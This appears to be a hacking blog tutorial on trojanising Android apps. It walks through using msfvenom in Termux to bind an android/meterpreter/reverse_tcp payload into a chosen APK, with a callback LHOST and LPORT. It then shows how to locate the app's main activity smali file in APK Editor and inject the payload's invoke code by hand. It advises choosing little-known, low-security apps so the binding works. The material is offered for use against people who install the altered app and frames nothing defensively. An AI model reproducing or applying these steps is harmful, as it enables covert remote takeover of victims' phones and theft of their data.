Today I'm here going to share the step by step tutorial about "how to find main activity of any app". By this article, you can get a lot of about how to find main activity of any app, how to bind payload with apk,how to hack android, main activity injecting payload, metasploit termux. And I'm damn sure that you will never get all these unique information like us on the internet anywhere else.

Hello, guys, I'm back with another amazing post so today let us. Explore more about the main activity injecting in android. Main activity or start activity is the main thing to payload work so you can manually inject or you can automatically bind payload with apk. by default msfvenom in termux or kali, so today I would like to teach you about the manual method of finding that main activity in which you can call payload activity from the manual method and manual method is best of all because you don't need to be script kiddie anymore so, let's get started.

#Follow Below Steps

Make sure you already installed Metasploit-Framework and your termux is up-to-date.

1). So first of all you need to select in which app you want to bind the app and let me remind you. Not all apps are supported to bind payload in them, So select any low size apk and low-security apk. Not famous applications. After downloading your selected app just rename it with any short name as you like, after that move that app from the download folder to the Internal Storage of your device.

2). Now download apk editor pro from any website on the internet, After downloading it just install apk editor pro.

3). Now follow the below steps to find the main activity of the selected app.

$ cd $HOME

$ ls

$ cd /sdcard

$ ls

Now, here we need to copy the apk which you just moved to internal storage, To home directory of the termux app.

$ cp bilbo.apk $HOME

$ cd $HOME

$ ls

Now, here we need to move that apk which is present in home directory to the core of metasploit-framework, By moving it to metasploit-framework.

$ mv bilbo.apk $HOME/metasploit-framework

$ ls

$ cd metasploit-framework

$ ls

Now, here you can see the apk inside the metasploit framework. Now it's time to find main activity so lets move forward.

$ ./msfvenom -x bilbo.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.76 LPORT=4444 R > /sdcard/payload.apk

Now, the payload binding process starts. and if you face any issue then install apktool in your termux it will fix the issue automatically. After process starts you can see how the steps are going on, So here you need to concentrate on the mainline which I highlighted below. that's the main concept of this post.

[*] Loading /data/data/com.termux/files/usr/tmp/d20200609-7002-blkiwe/original/smali

/com/webrdo/apps/serviceinfo/App.smali and injecting payload...

Now, you got where payload invoke code is binded in-app activity and which is the main activity. So now you need to find that app main activity in apk editor. When you find that apk you can bind invoke static code which helps to run payload from binded apk.

4). Now open Apk editor and open that selected apk in apk editor. And click on Select an Apk File. And select internal storage and open that app which you just used in the binding process. now open, Now click on Full Edit (RESOURCE RE-BUILD) and then Decode All Files. So now click on Files. And then click on SMALI now open the loaction where the main activity file is located.

Example :- /smali/com/webrdo/apps/serviceinfo/App.smali

Now, after finding the App.smali or nay activity where the msfvenom tried to bind. In that you have to paste invoke static code, read this post for binding process APK BINDING IN GAME

So, that's all about how you can easyli learn manual binding and activity hunting method.
